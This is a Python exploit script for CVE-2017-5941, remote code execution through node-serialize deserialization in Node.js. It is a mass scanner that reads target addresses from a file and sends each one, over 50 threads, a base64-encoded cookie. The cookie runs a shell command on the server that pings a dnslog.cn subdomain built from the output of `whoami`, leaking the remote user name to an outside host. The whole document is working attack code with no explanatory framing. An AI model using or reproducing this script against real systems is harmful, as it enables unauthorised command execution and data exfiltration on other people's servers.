CVE-2017-5941-NodeJS-RCE.py

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-

import requests
import threading
import queue
import urllib3
import re
import random
import base64
urllib3.disable_warnings()
q=queue.Queue()


file=open('ip.txt')
for x in file.readlines():
        q.put('http://'+x.strip())
        q.put('https://'+x.strip())


def scan():
    while not q.empty():
        url=q.get()
        randomk = random.sample('zyxwvutsrqponmlkjihgfedcba', 5)
        randomstr = ''.join(randomk)
        dnslog='so6shs.dnslog.cn'
        pro = r'{"username":"1","password":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ping -c 1 ' + '`whoami`' + '.' + randomstr + '.'+dnslog+'\')}()"}'
        Set_Cookie = base64.b64encode(pro.encode('utf-8')).decode("utf-8")
        burp0_cookies = {"profile": Set_Cookie}
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
                         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                         "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                         "DNT": "1", "Referer": url+'/', "Connection": "close",
                         "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
        try:
            requests.get(url, headers=burp0_headers, cookies=burp0_cookies)
            print(url+'\t'+randomstr)
        except:
                pass
                #lock.release()
th=[]
th_num=50
lock = threading.Lock()
for x in range(th_num):
        t=threading.Thread(target=scan)
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()